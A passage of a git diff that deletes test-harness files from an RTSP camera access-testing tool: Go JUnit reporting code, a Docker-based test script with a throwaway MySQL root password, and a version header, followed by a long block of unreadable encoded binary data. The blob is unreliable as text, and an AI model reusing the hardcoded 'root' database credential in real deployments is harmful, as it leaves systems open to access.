fmt.Sprintf("%.6f", result.time.Seconds()), - Failure: nil, - } - testCase.Message = "The stream " + r.Address + " had the expected result" - ts.TestCases = append(ts.TestCases, testCase) - } - - for _, e := range result.expected { - testCase := JUnitTestCase{ - Time: fmt.Sprintf("%.6f", result.time.Seconds()), - Failure: nil, - } - - if e.err != nil { - testCase.Failure = &JUnitFailure{ - Message: e.err.Error(), - Type: "", - } - } - ts.TestCases = append(ts.TestCases, testCase) - } - - successCount := 0 - failureCount := 0 - for _, test := range ts.TestCases { - if test.Failure != nil { - failureCount++ - } else { - successCount++ - } - } - - fmt.Println("--- Test summary ---") - if successCount > 0 { - fmt.Printf("Results: %d/%d (%d%%)\n", successCount, successCount+failureCount, successCount*100/(successCount+failureCount)) - fmt.Printf("Time: %.6fs\n", result.time.Seconds()) - } else { - fmt.Printf("No test in success\n") - } - - suites.TestSuites = append(suites.TestSuites, ts) - bytes, err := xml.MarshalIndent(suites, "", "\t") - if err != nil { - return err - } - - w, err := os.OpenFile(output, os.O_WRONLY|os.O_TRUNC, 0644) - if err != nil { - return err - } - - writer := io.Writer(w) - writer.Write(bytes) - - if failureCount > 0 { - return errors.New("some cameras were not successfully accessed") - } - return nil -} diff --git a/test/test.sh b/test/test.sh deleted file mode 100755 index d2052ae..0000000 --- a/test/test.sh +++ /dev/null @@ -1,72 +0,0 @@ -#!/bin/bash - -# check if a debug package exist in the current folder -if ! ls ./cameradar_*_Debug_Linux.tar.gz 1> /dev/null 2>&1; then - (echo "no debug package in the current folder"; exit 137) - exit 137 -fi - -cams_name_pattern="fake_camera_" -cmd="" - -function make_docker_command { - cmd="docker run --rm" - - # start cameras - for (( i=1; i<=$1; i++ )); do - name="$cams_name_pattern$i" - cmd="$cmd --link=\"$name\"" - done - - # add mysql link - cmd="$cmd --link=\"cameradar-database\"" - # add cameradar sources - cmd="$cmd -v \"$(pwd)/src:/go/src/cameradartest\"" - # add cameradar testing volume - cmd="$cmd -v \"$(pwd)/:/tmp/tests\"" - # add cameradar shared volume - cmd="$cmd -v \"$(pwd)/:/tmp/shared\"" - # add container name - cmd="$cmd cameradartest" -} - -function start_test { - # Generate all cameras - ./docker/gen_cameras.sh start $1 ./docker/cameratest.conf.tmpl.json - - # Prepare docker command - make_docker_command $1 - - # Launch docker command - eval $cmd - - # Get its return - ret=$? - - # Stop all camera containers - ./docker/gen_cameras.sh stop - - return $ret -} - -echo "building docker images" - -# building fake-camera container -docker build --no-cache -f Dockerfile-camera -t fake-camera . - -# building cameradartest image -docker build --no-cache -t cameradartest . - -# getting mysql -echo "starting mysql" -docker pull mysql:5.7 -docker run --name cameradar-database -e MYSQL_DATABASE=cmrdr -e MYSQL_ROOT_PASSWORD=root -d mysql:5.7 - -start_test 5 -ret=$? -echo "Tests returned ${ret}" - -# stop mysql -echo "stopping mysql" -docker rm -f cameradar-database -exit $ret diff --git a/version.h.in b/version.h.in deleted file mode 100644 index deecad2..0000000 --- a/version.h.in +++ /dev/null @@ -1,26 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#ifndef __CAMERADAR_H__201605202152__ -#define __CAMERADAR_H__201605202152__ - -// the configured options and settings for Tutorial -#define CAMERADAR_VERSION "@cameradar_VERSION@" -#define CAMERADAR_VERSION_MAJOR @cameradar_VERSION_MAJOR@ -#define CAMERADAR_VERSION_MINOR @cameradar_VERSION_MINOR@ -#define CAMERADAR_VERSION_PATCH @cameradar_VERSION_PATCH@ -#define CAMERADAR_VERSION_GIT_SHA1 "@CAMERADAR_VERSION_SHA1@" -#define CAMERADAR_VERSION_BUILD "@CAMERADAR_VERSION_BUILD@" - -#endif // __CAMERADAR_H__201605202152__

^u|z(9`YnTXrtB%|1r#Xcw zg)%WaW0t2T&;HvRi}W#5Q1a+e`P4&?%>G)Zrweigm>Jl|)=F;!9uN>}kI3^`Tio1d zh?D|Rw?+%SC%K%HF8>xj+IYL)89O6Najfcb!jW3wFsZFhfsS#FBMK_l$y5`5JImr) z!NjM-fK!>1*NMcaO&H5cVW{49$@1|8_wWmUSio;Qph!mHMESo($U7XWlg~#&mDQ^Z zkN)rYC(#kz>mB(nM5yFE4)7P8^kPi<)hU}D?Z|HyN9Gx_zc9Tm*=&u#G_61{&j7^w z(|JHIlpeDhlngPMFJYJBCzfOKw`5|ra+5vwFN9knE4;cjsaDW=Z!u<*Vmb#9NI!Vf zyx&~MuQ5|sF58=G?(TPVZQxO)Ay88ZJIp#{oQ9h)l7c?>Z>oSfbT67#LYfO(U;V*G zydH3AkJODTSG7Luh8Y!r!-?$=s2!c2{-w}$143-SxBA*X8wB;xw9oD-PL$w1gj&C> zy)8t}xny)M)$8d?7iy~EvR!WYYJNf|RMudeO9WlGP6YA5B3dM3I&kcFnYX#jp2JSa zhug?S8R`>)XGZp;r8-e)QaVEhXt@!+u%Ddqp+7*mpyY!Dzy)+T*K#>z7`F6W3HaLp z)lMDC{X30K%qM88k>+esd_p+d0P}jd3D}cl$;ujPxDyhRk4S>?l=E2j2vFStyO zExjPYZK^PZ&S~!MaNl5xX(*`eD&-AS#?bg6$f`pI4h}N(JT)VrorfRUyj)<9O4vXWcF4c|a@GvWF1Xn(?6OtG+73 zpHb7VSK5C)FW+)1xNy&H;}DW?9siIUkoXo_BsIT0FpLaR@UCkNjBNkAOI<$tyr*cM z^W}K1+a~8zoM5$g?VFEf^Aa`Vu$s;1xs)P5dFoT-jT6mwJSpW@;VE28EI(WIYhGcSCP=*qSwUUc`AZ=t+xh+0g5{i^5uk5-2= z?lb^#%AFI>Kk(VhxJlbqnod-<%DOxRc@oAgO2_I8;u-Z8kU*LE*$#qVQ`?()U@RjV zPRdd;5ZpmfZj$6E-@^M*EC9Uewldj~6nUGu9;*+YttC#HNe-HQ8929KP!)&V5xZ=(53l!7p`Kfocsax$_Grl8Cg^BfOP04VFq1_5MZRq^K|9~izc@f*q zh;Q&PNC{d{ly#eV(LX379je;%N(V?USU{QkVgSI7?V;KHLNjpg64NscgsF|5yn6$4 zeVAfN`6KW^W-3hcP}>x5RDCsqCFUw^h1q5-&n(Fqy943>4vB%AUZPF+4_>~uKz2_# zB$>d%{p@E?eB271BDtWE==@)X!A@Yv)K{rX9`w zg0159e3~W+I?_O-&hLja794k&DW}g8KXTYK=tENOf2L^Wl#T}ph(OiihHGO4 zuFk%Ne(+XjF$W=dc5(?=9x)%O;ws|!;!ilz%w=C~?NEx5Z0I(e4Xn8YFe8@+Gm~36E*Xslr z%4!`UD(hX)s`1Ob%g25?IOkIHDa8t0U&ZPJKFfX7`xqC0)p*GJ0is~YT$RSzUGYkx zCrDD}(!}ja`o)3u3!t?>Yhxw*c#m|aY1Xe+f@vDq@xrD24_v39Jy3=|>g0xQl+c&Y{ zm>Kwn_1z51pnqe7t_Obz7CWO(x328{X8G}(>Wb?x75GDKbhGJMoGNjN+ugw)598it z8MDdwN%QX)gp#RKdgaHIxZkA$Bas{5yQYWs}tV zaG#b4%Lnt3W7Etp?4glXN+9(^cKKGb&&r6O3 zf;)w0${WbBLWimeh0kDrYfN0EAD%8q^TR`E%<7Mb^LH_(LPFX?PSazQ@Es?B5bPHf z??hwfA7t6T6d#;=+m-dr01!1?3}q3tjZ9`1l#hN~wdMce1>5F^aHw}y0M9+6jGI|s z_&|PdvQ;W-xgp*fNQusDH5iq7xf9B@GpiB!^RH}$n@?=MJ@#1mjP!T#;*=Y}njLFP zk%Q#-!bj~mt<>4`0zS?bCeaBUbVO+0^7-O%R%1hKBTZ6KI;1L@uV4=n=rY(1-OIYu z=l``Y+QV!4{;yf7hI`^Df!sBR2RqhALVWCk1C5rgGEW9Nb8Kf6Ys&9iIm7+bqXJfn zK?jf5nhzw@W0!rqxvXVt5U7pf>97jZ6FT)iq@(?$OzJ02_Eq;3Itky&c|SU#qVe8l z**-vcVIS%3D}gTYTX(u`%4ta0Ku>P6!|9!UWg_B*v~2| zfc}7|EWKB`?&A-eekJ_a9GUx3|9MAM9e|<$G+(~g|L5{?mqI~%AayH9#@J?TZy_*a}9j7mz$tD2V8<6zpmQ!@k z^mEEnuapdULp-Ml(sGcW3SLOTdk7R*y?K;vCH$;Wi78(|E|~|9alrF*n#&gK=G$2M zXm!y+&2gK))$;e2UP_k>{}-=&C?AYIIob^DB;?qHxN-)6;t)xD)dO?MjQr6wrL?}a zG|2laR{%@l*D&>p{sdqpjepOiXC>s)l(6^FxCgqh>9_DX4~}_OW6bXc*I1Z%W$(nJ zyP#osF8B}B8drUKo|O?7_mZEk%MpoP;HOC+o}D{Bu^J3D#nV>@#K@*iB>Tk7{&$b= zTi#c9yxF8%XNESgHQua-xe(lR5KvZ}h|n|xbJQCea3$l!-(UYw>#W(NLEIOAg@g+Y zSh`*HGkSJ9WgU#*9Nu=-%Y1Na&-euYUT&8DB;~2m=KdvYW5QwpngtW5{=V`9UR|Sq zjdZSYsCBy4A)62e{Z`JD=Ij7m*We*vraDX8lePP`pv?b$S7kQ%lPz#A4`{(FhBV7* zq)&IEJQqy3VAq#Ij))=yrpyX?hZ+bTDC8`oC!jOA$dA^dFgi{~09!)i`KK7-Y4@ia z7~IDt4FA-xB_nlMpWaU`Tc5~^U~qVcmSA(hXi@w8aY3+cnpNBG(51kGJ}V#2q5S&> zIM4BS;ploBV!xp6R`&SM`6h}(pfA%fTabnSSy&sv{NC5P3s_vl?SL?Cvoj0z)dx=w z@}vXS{11v?E1DGeH6!F3k2d+ zhxp|7)G?Rvpx}*!`&;{0F zN^f333a|^K`VeaQHMfNJ**^!U&(HhQQJ}(ns%r_ifB5m(=+?~pDbya{nV|g)w~~pa zV8e>C4_MKJ+EBcrk67zFDgy%YJ09}BNqIks{Gr?YJ%!1MrN zh^G;gia);DXh4)@oiWQcG@i6bQwr%C`vB-_IrP!9BP@pIGP*(vkrDZN6p}Z zJZqJF%(!y_>a>N^b@EOF7f^+L18(*~?W8jrAM#+{k%!6~wxxh5Ps>gYmzI6v^q@au zhu?MV8(>L7u*GtF>N{+#scNaD!xSu@VZsWvDwaJ3OJIO4?6Zp>;WW-Vbx(*52noNZ ze?cbd4HAjGDba;L%S#sM*HFpHZ;b|VtY12=pim+XM;rx?r6dA)SI)PH*4BiR6C#1o zO2{4^a=y3*gPBfo`n{mB5F+f$^|I`ibPhPzpLcC&qFv$QiYQxz6GjRijnyd;K`=U<4}L^>pv*ti)H>bxg~FtfL+^W zX8HdG@tk`QrsTKUx$b9QUXUJd8WChrIw`fo^V$RaT?aqQ8&aGmqY zK-)J@iY<;I(!`iYN5N7dLp_Oi6I~J;nJ<_#MeFRXC)(mXUu@9~$t6-S(~2(L05w0t zy?QQOE;8=$$I*JcE!tCV>-kV^q6{-yn8Qx?&wJvhe&@rntlq34$pn!UPpK`IAyi^6 zbL*>PyOo<`-!tKoP|p9=)Zi!oO9GeqKa~M`UL}S;dcZux>@2b?BIs=0-&WxHV9Ruf zJu#S>R+!^m6Zr3j=>Oi^l0Fq*;!A;;T}EL$&!WQTSVU76=a-5pj&+af(_w@8Ni z6E8{sXH#Kb|EsB;|I;$LlK;zg(5?SvJJ9a`k{}lRFYD$X(bSDyqxv-;@FaT<{>?M{ zS=u%r?llt2br$(RYa8-?p85^*eSpJAEFu1wg%KdeCC?Ss^!{W*t5H~+w_{L7=)A(J z`+^JH@mB_PUV&J{!~j;0^INZG`nxVT!5#fFdgm4Xr{lDE_(t)wr*cY?;5(`*3};+$ z_U?-};GnNrtZ5tqA9`q2{VC_C^pU!oIZs{hVENVpYXRNftVqGNz&b#8^}_wMwKxBw zOZ{o3gc=;?EQqc8NTcox8!*;I5oI=|$E3*xm;3boEoXgPVWL7%sSlMd(<13h4_~qc zgswAo7bvhO{}sX&ogls zg-%rYb---cM<7HvG|yzp>{|V|ROA-Wt}GDlKsAHsvvxMw_ti$5Q!1>Wt(_BpM!Z)S6OCfu>bfIQdK{eV+^_ z%nV_SesF{pd94llES*p0o(tFv&dADi=3rRU8Ho72#Nli()dg%E8R0j0B3*nnX0H2c zW>8U8;>cb!Ti(AFfTuSacP9pf*`M!K--;0pz1fE9tp>--r^8#L?`{OsMqyf$Fg74Q zOm)`U*!S&uyz-Q@7isRGk6Bi+^DAPK4s1d7GwwFex?*{2eTXQHP|i6Mf7k`h7Ep)4 zrV37mSNN@818es4Zr1qa!@% zF$}KUMmu3k+)jx+@dwIZH8u&OU8GHMJI0}9+p?o)0FH;!1!q&%AT*y^qkql_5({I< zuVC7|+@Hkvw(7tP_hGi=lI>wV#aFc1UU~6Q-Xa3P?c5u4{1(fj8xQ`j*a{Ze z5#yKIwMo0wUFm7d&+!k;`;Dxkk0;(8FVvR)Jih0e4S>gD-7b01!l7Fv&w7m!z{Aqf zK};FtytNtTD`pF3at#)i!!p#ht^jf|bpDikM0Emw&A8l|Y@5hk&g0oFuHMkBdUQDAD(KXwa*ub5I z+Dm`EJ?vv}?kH$_{@1r!#Ku_eH|-Ce#?GiZBCYQRc4Zw_2eb>q2gVcVXI9zjwz!F5 z3ri+DR;CJ41yd$xCpkx)6H#^6oR=>!yH}F6uGK&oRC}q2xO%VE^mltQRgb#FH(FH^ zjBtz9{&n7565=l6_q#v=c=`6co{`sFNbp=Q2jnCyr8$KU<{L1<1ian)u=*+N17@Z*z}lGSzspltj4&siQ@ z$&znq33rxg-B{Mzbj`k8wk`bwOM<+SZX+0qx4JhU^Zenl(Mo-A;V9-by*L-qvXx~! z9F(xA>zw1$dh=cWOs5bh!2y)C;nWN|mBou1>3)HR&7O$~4g;^3wST*Op9xO*4Q@}H z7+Wk(hNDcMRYb#wv(^I4@jYMR&iQrwOM;agWJO4XD^4@=1sGG=3e~4 zp2qU=*s-nnNh4TOF!K~0cD%+xHgW-M_g+GXG2IdoH=B|z;)%|4kvO~i1`U2H?>~y9 z%gz0M^@UF5zD&MO8kh3x?6|Uc&5z%;UN#$7H#DibzKH)2*WCQA_=jQqhsti%%5&UG z`^3PCjQ=4FhCl`5iMFBWc67G)gdFF{66n_wh zGrQ1$SnFNpZMG|)edXMMW!eCkE;`qqbngl?t+jAKqmhgU5~xxb5ZF~HX9Qd+1f6xH z6aK}8VG+i9$3~LVC*0lfL+$LE#GJGP(jD(d@Yzz}YBF%5f`9O&Q%@6rg0@yzmfYta zG*UyY%%#kKP(VLKHgc6t0DeJY@>v$JGP=;H>t*{=fC{{IG2&4v07nZuv7A+q#eYe{z*o(4eiK z{8)P~#xOzDp)54boq?)9l1u30aogC$B=?;ZpXPiNEUJY-6|o@)&Mr9xmB)Hp))AZ! zm9W>Wd12)6&Q#m>gao3I*2L2rgybDuFcjxl_tVkPkWSCM z8!$+g6C+t->Y7&+jB_?5a;#8{1uFJ9G*^O`h`Ttl2TvEu^|q2$YXY?{FX9E{N}V%2 zHXb%{Rl0@;;Mwj!J_dGcZ;Xu`i$4ps2oI14t8SPX0UU5v5__7U?|#mmbIox9vh2CB zDHJmrkoI1K$W z4!3eCxHfSEO~tMODGG8}PI;Y*lz3|`EAs=u&)w~HzXGJR(_F=8Moao1VU2^bu;t6{ zL$|G!^1RS`whiPz>+HjKc|9+`87&<0<66mUFi-a9Y0_*fH*rL?=1peJ)@%4yPI?b1 z6ER?#_Hp;Fvf%YyEj<_Sv$GKkN^t+TlNb#v{h*&xc zpRu`BL|O{i*7J*8%1?-I40g)A@+-=SKQwU`ybc_lc>BViD_%+uPZq9He9P*WUn4p2$f>HR0M2~DQ3SCYumyT zeprX`bSsTxup@gAqPDThWqyQP;7=jBNE=TX&-0%Z> z?2QHA_I^Y>7b!LS5>a9Qw1fwLpllsrRlu;=N41OYc^Zl_&;?luNpcL$_9uM`{NBk> z(Eb-fZ0;MpfT~K)Dzh-rmQrnMP8e@&#uW#>=L&7_o;VxIh_nvio6u7;H zkI|eRVKQ3+<~-moYG=l7Z!khx&KEr0=bSx6MolcMqP47jsh-;#{FS{fEMXJ4WZ9MP z{w#Fbz6al~jBRXMt0)WLUXD%ikJkW4-Zs3j8&4H0xD)HIksb0e=<^ihrO zO$;NK*VK8R;6EJ9f5hXSOvCp3T0sJ0r4?uNs>420v8^*7d9V<1F;HVV3?k=szsL1! z8=-`E)S1PsYJ@UJyCqx7s`Nh94u^&%UE&|X6ktWSARb^9C;`qycnkSEQ`Xt`e6!Dh6iiZf-~%F z{L2dC>Hd6ezT6^e!nSDt3#%au9|P|$r;~VYUV@eK{;qiiE&Fwld2Vja2$bsK5&&z& z7s=N@-164m@l^ZLp-U`%im=LfCE98KXWgH7D?5y2y`^LKmdj{1!;CKis$#;fv6anm zGMpOnY!kua%6EOxeI108gI}b01}#e>NZ=s-J~sraTLeNg){U4{-IXN zr)%$JY19**jR*JJFXgR;Y4g5lpt3I?>Tu!Brz?)OQe5Sq;Hh&eD0xDq;NJwVv3~JL z&FzVW(H+n72ZHcYzafV>-i)m!I~butFLT`a>SfjHaxhjSIVlT@1pf414he-1R^`Xji!h z)>cy;a2=e#Pb>`>CA%;%N#E}w7bIZ6ey=QLs!Q2k?9;~VG-n|*?tBpP`IT9!SM002 z92O3}QIzvIubd}KdUd~N9z*cH1OJTU4)S{dUgM^m*vEwJ2J7|_6*tVl{hz^+(+@IV z_UN`sW*-1*jfVAQacPS!MlrwdA8N~L-{df2E)O`TGY!?9b3u@7B{(J<2(c`W#Wge= z{T`>f+-TzN_8{tLRb3JC=qood7lMP0mbw@G#$4jEv%z%9}w{i)mTl2KLpARpfLfL3@H_*JY`0y zw20toX#-Fg*z-q40Qg`k;ehpMqG@({x4SLu;P4qi*6^dy8S+o-pz_g3i=JKP8$Cj; z+jVd<(upi2n0YRDsnbqgAOcAlv1+S=eRa-B`1yAp#i-|ul4nSey7Zhw_@|Fgy5A9mrp`@rmO$E_(O_~KS?mx+Zc0^ zYkKqvGeXL#c&2XGp}}Q%-E$e6>H;084g3T9|4psn=Y|nWXIRjcz{5{f4Z- zJ{bAjnuKV)Su0#8R-CGq3QcU{NXIlFl)DqHhwzE!%vXwlu!6o!!|tDdX`{L|&&0Mi z4UF)ZJY*lHsUIZWK*~^H;Jx97i7~znF*`RTOkiETF|I#% zr(tx5%k6tl2{|rbiJa-HB>_RHwwhbVze+ikgEnM0bgX2dcdkvQMU9g~HNknvnEzwx z9JniMx~?5tosMnWPEKr_CpJ1ZJGO0gY}!va<$m7p7woa;sCm`ewO7sc#~^Q+ z4=X+AJ5a~KnY7FOb-UzRsj-+jG+vLU@S0P~FYFsR-j31EjLH*kn{hORwmuDGLCqF7D-prK0R;l94?3_Zdnth zPQwIb!{Sio$X^KEe7b?21fM-vOB%@I-&!Zx`y~kE4rey|PVvil<8KH?u9X3OJM2@Q z1y;n+K2f5150#&%zJ1NB!J#amB51w-g!RqCS6{|?_>nnoaR$M!A4zYbq%SRvx#N$` zizMqlyw`6d6W^|f^>GXoJJ-4^2!;^FPT-@RX1(*G9zWUqB2H)h=9^mz}#&eIC+kqF44SNn1l zAK`542Pfv_d-zAR1hc|TQaJtd2MxfEl3!+~&`M2icu zXoLDGY;t%4Wp-42*5HzU*a?;>Z@`r`Haamj!;yxV9`G;!NB(YrGk8>+cy@Q5kf5;n zC_82p5DM+s388(mKP&4;>)@qqXq=h;ETE)QS1$k%%LZw-f5h4@pr<_fk4JC#`kz%3 z50#!hi`lX4A(-)H@9!wI2JP(lVu^bAd+`QpVv)>(k*~&6B0Y0GaeanPGs}k%+6zerajArVVibE;8ipY1ETt}!P%8^XB^-YQo7G!N?6EAPXJnUk+keRUz;PAPVIlKb&` z@bLO{pLrVhlmA>H(b3Yi(sFGlXEPC%+R~*ULqLcBQ7^%?q4p&Qp|r>PFc1B<=qNfS zsTwIGy+xF4UW-e#C+O1)+rjs|W>ADa!Z0&0-QjF(?$o_dtkO39oAzL49K!Tk8Y0h3 zSx$Nv9fB~xR5*6sTF%mr6s}iTi0Z#QzjBeoaI2Rj3X5v-e{5qEu$O}32|DA;1SZ7{3#f8Be;cAvtrsUYuO?CvKy%n}H)`ktyMcYZ|8drnV^=lerpgW9E}&1gG?{Tvwrx zo0ga}QH~3D#3>V!UW3L^1knaj(mfu_MocLA_XUA7kCQrJi%GAU*o_DwFQ5w4LJ~(V zbny3antqpaUjVV|DuNDHP+HsCPdHxl`V71z`vg5N&$-f{D>^Qk0mP*CfAWc{i5N$; zISoft+ea5W`$BXph<~xMgWj9HQ6(JKDl8Vrs=YARW*<`J_BHO~`dIy@LI zKeyIG(P&kz{GsKkBC9WtB+bT9b1Jrd1S2B<^l_R!WnGn29aCw$7%cz6EfEo|vkamS}x(7G>e-$}wZ9 zZjsyKhXfbWG{%mw&_`FNfPguNAVFbV%OO#D`P;mp-xR0)2uCZQ-Sqelk@~#Lku{Fl z<^aA)UBH$_=S0MLYzc{yoN>K~J%STEGheN)sowgP=zC7OC{okBS+p?AgIU)Unnq)Z z;@eV^K3A_t(5@Rq-=guY^*gI`s>w}G4}SwXY1nBx`x=U^oncJMgLKtbF|y-mArZsV z7|vb&TQOY(PnHItaPH~1$^JnskQX-j^27tk3N~{Hzs|BXt(u4~IiJ~300)IpuVsW- zZN@(;*(^BNDxPatyCmz1k{IV-RM%q_I(+CRSKMrv3LURYfYm0;r1kUdcjeCCsa~Ro zy~^-LKgGwF)j-8eghS2gGIq_Ii5QE3)Bbl1dxj0T zQTCjoRYj}{VUdg(KY9fxPQKIY`>8nx0>G6cMaI`8#@GGnx2}_B*sPdDW9%DV6Ah9} zglwe`oe6wUpgX@3g5)^sVMgvOY&xl8U1f4s^fk68DGev|h$OxV+rQqlv34p|FIyM> z_qr#E;eHSH`j>H%>Yz=rM-jASA0yF9*FSR^BuBn}alJZDcw9H_V!Rrx!ntFJemiMo zPWngi9JFt!jt&|>QuR4&R#;3Ghx+!+79F zC=IOIFOu;d{tTqnOv&vGRB<**RiJ8IjoNcw4y0(ATIdfTWp;n$2JT;^UVp55yvo|L zG@(|255^o4bWo1EQ(lG#WqZAw%&^R>K^F#-pTa{G3>9Wu;nAtN}a=*oZ1 zr?#8HiPI2(`KBy4QYu4ZhMwO}58U$NMKMq(9v?MCUPrX~g}oP!p13(x;bE-DtJr8N zQEPK45{H->^{q=*+x7aB?GE6@ljmfV7&+TvRPoL2=w?TSFcpm=sX#$0Kmgz6!Vd0l zvoyn*I3jl5ZX7dF$U6BixYul2pyzIf2xFbP7EJV>NRO5^%*FI%qapz zOW2|)7!KiB|0zz_G_tTP4PiiE?XH&EQpu=d*~iH|qZUpvMUaHsPA#?m>7i%R)bp6j zS!&BYHOUz69_ux)CC{92FdsuPQ6yVmGP=F1a%&nQ+6_ICb2U?3q54Za+Efh=m9~Pd z>kPhTGXm-&ZU_L~Jsf|g?nduG;_Us$P)j5p&++~n9diU~LuuAuDdXh?(sf!|5%_0d zpdyNbugMS?An@kLM=Teq;o6nTK#bkvEET?F*h`q4ot5TD2iv5*I3m)L`ll@rDGF-lONVj%rE~617Wc+lyi$^|TAe@V++j^3+|$me zF1S`cHL?0wt28y50;h2WISFz>ipmav=-quH&T$cgl)x|&ml!W7Y?DTllKq2esJ~ld zG52RwY;L0~@BwP450Ntif2|*WMw?`y@+=M3gF5xwRSJ6Rt`VQW7!6 z1#;=Ap*lhT%@PQy&#(l+wfQugLX=O?z@L4Qtfv2sLu7mM+f?9gnvO zHf!JQi_K8-H*AgzwKf?XPN8($=)oI$g*v3=be`wGmkd6^R6a!D-~O_sTqoxcR*+}z zuHOXPh5D;~^;3D(1$6zee{q`me5qg6ho@skoU1A&d>WK9_-?P$uO4y2Df-ZYBN@y( z<1@)lTFi@~UJjNdv0%)G@V0fk?vbmE#}#VajgaG^ZeVRh_ykOl&B{R%XU17Vbw zDQsOT6Vxs3JpyaI8oAbqxS%4)JG6f*{V*`3q)^cjAMa!~$|k70x6Qmia}(2cBt|b} z3oSLf^oaY1>)n=BGCQqkuD-YS_Z*2B6wR`J8`d*U9ozc7gry2Bd@cieq=VRYf^CMf z#D$j`;L#q}nf-1d*M7sO>Oi8|VDRB{aSGi;eHFznL}6Q(7H2 zymE$PpT~yIlAvjCnl8!QAQ zC%UU+If}hrT~{WQf}c7&Wt#a-nNOZKZOajIrZX?ipjODd>Ci`!UQ;A`aYyI3k$*K5 zI1v1wCN6cIyK%_=L_FFW<^8+iz}liibL3y}NZL?EW7jiW118P~PyGvbz4bd`cX7VX z04gZHt!5rCM2q~jdJH+YYLCfwU%*~1*kL3&*_k?Uyxj!Mn9;7+GpN z;Q(RJBh#w&3~Nt*onU0JfTupP$kuI$i!uX^x_qwr z)w;(5+HWK&e+K`0aHtlB-(Gve(8-00B-(g;nr>76~A(s_Ikiphl3`C zrel4H#)I`_cq4TsjhX{9#}=h(8QrNQ27j9Ma?7Qj%&fwx#)6+NN^pXaN2I9wk5Ql% zRIyH5crZM{dLIa|(7 zsOEBkzT<}!Qx=Mr2Aba$HI}U&@1KIpo(!af>@8L_1oo8+#U^Won5ju$oJ60CYWUMK z9=?<<+21<3Nuh;59%FKhgS{R-s79bZrMDQ%|BTe+JXNhF|{$a+RHu+Wb`)1s63u5%HY@rk;^Q`evz19bfw(FNOs0A~S z%cc(c?h@;mm`(Lwqg88m# z9<|%&6AWL1raG!aCjEQZlv`kgZ*o{Z0nZk*TXIznhVB=mR2C9O6A>hP5PhtCw&tn8 zu>&-Vu>E6>E;V+*Gm!lB40S4|9A0REr(FtXMbLtHTZ#yZiQ*w_sTyVhhodkd3dY_>Y}ETBh*(lh^l)Jg;%L5 zyo9M>`GG8+K$iTl5ooz4=)@pTFs}LI*j=8QjAuaS(%8Sm`GB{*&|r`T?7*%P3HCad zyryKU%q?|%o!%B|ShBPF`g&}%>~E0Gq~OcpkaI6yC@IJ#t|RPS^JCph-x4P(WmdU5 zx3%n(hq-AUb2_P1LF??2=zs7kJ(DtGJU=Dui5ci7NKCvk+0Fz)oLE#npKZRwwvWIf zz;W!?uWxutxX4Et;?}LE*_j9$951ef**!Tf(d76f+!yz(D$ix%J!*FEY!P0rXHRcQ zpqx~4fm>a`i|I3po9y1na}?so{5CI?aLS?UC?h5HJEhWn`VAn_rd(5}>DZhf(``0x zQZ&WbKX41cZ-Y2g1xM8Y)OUn81`aou& zS%x8W3Z%In8=vP#Vffa&w>;@PUGAFu?O{R@{jc@7Hc(@AIV3p$2*KAjD-TSJp$6KIzhjbG)Op85e=TsVG@soq1|qQ3n$O|znWpH#3d7HM*24b$fl z+Bc=o*9ty$5j|#>(-mRD_Y2*IMothLLv8(HWOD)oW9EjUoerVN4A29%tjUktOsir) z%|z(%%)6Sx`8P#Wdh&u%Ur;+O5E+@Y42m7}J!lDXt8V#JNGr|$ohN}yivS7#0$yd$ z_U(ijY}US3Bq`j&2Mdodvwt@!#-MsPrT$AB#aH1~Og*vyWj~ zJU?GZQ3nMM_V&rKig@Ky=K-lUE`E-o+`jJewF-x(ZaRDqceH`QV5Ln0WE#1~D0S{L zz=4hjBiQ-+q<6hs0q0a^v^p0-4k~{no zrH6h?)eZ&gm3HSF1#1|Af~bu8x?$<1}VTbix;Bt%| z5`exmG{%`JrWea}dF9V%TGwfmF(QC>gmw3E8SyJoa{Go%P$25#k=!2k!_vOG=N-wE zVwR0$q*5W24by>T!Zj(=oCBhN6;{@qwKkYJu`b8-L{3W`ZS^V9Q0?o z^C!M9EtARFs=sqmuB{nZm0A`*0$y4uc!MF=r~OB*84!^3cNvk*WNw>&Vw}$1J7k5G z#R5^?yt%uZz(Srgy_Kp>&}MkZgqI*GU}BYOb)D4Jy5NC(7$KyKGZpVLX32tu3x2RO z!q4T{erome``!?!lpnx7eTNTa!{eT6#ufWxbq!AI`)x}YAJmsGYTw6dPvqMu!^d0djcHv}t}oz`X|qqH<1A7A zwz&WCNdx=RUKlP{FwwU`FSj{@(M#=c+u-@V&Dn=7+x|U*(dSICyE|p{VE~&!VdHq? z(GAtMzL}`2|CSTBy60CQW3s^eHCzB5eXIVjWJVwCPeH>^IW*mx_VHA9h8r2(zU!|p z+E#(jv?R(+$bZ2zf{E2NRD$i(6nh4Hp&D@2xs0v8C+O4)8MJo;@K-&u4&NOO)C!N0 zN1>R9+uD5(_SU-Yj$uR}{cl$VTzbc$ZTD{UM~|*Q5E=Qlq03of&swfM4Lx8N{P0v8 zI((`1dXlO!Lojo4&0CLJ^m;O?4L+ilzld9XN%eZ>T)W@}JFj2Y5j37``o>SL4pN>9 zk4gjU4l*x1b-K~uFa3_ELddwIrGeM`U@wXe{E6az2HepLRQx&KKIE`pp5!0=CI@-u zv^_Ma<$})D`Dbd*KHWr}$_|%uPa3fI&1WJIp5a2CtDEbe1|}{HBWEzT3M+mqE%uPC=*<325yv3xo@zgdTAf~Z(m(eGYPeu=)ajoxj*TedQ9|WWNsE_wvM1uXo!h;inY$YG+8|e%sIuXyUYe`Ajve*hcOq)YeaaX+ZS@?`SrzunFT2bd@ob#y>nS4^Q(?_h zI@8{3DRv?ELFMj1grV``YHGbYao$B{`>0yywL60{7@SzAhk~@b@c8?he$IUh{LH7! z>r~blL4|HxK(1m484I6fM>TGB!^`E&?aW~;*}_NGL8K$vKw|TTVU1xZn+?GAcs~2Z zV{m%8y3x;Te(K;s0GUOjnzw$vGv9_w!(daU({x*a8f4nPMjs%i_7JPCAAt(fs)B>r~bsFH!Z9DrZgpcF{7WnkkyJ z5y}k47%WOS!8A&q9C-l2^jKxB>e`(YxriiLkiz>YxdfJZ|Ha@aSz>D2{euD+tA47k 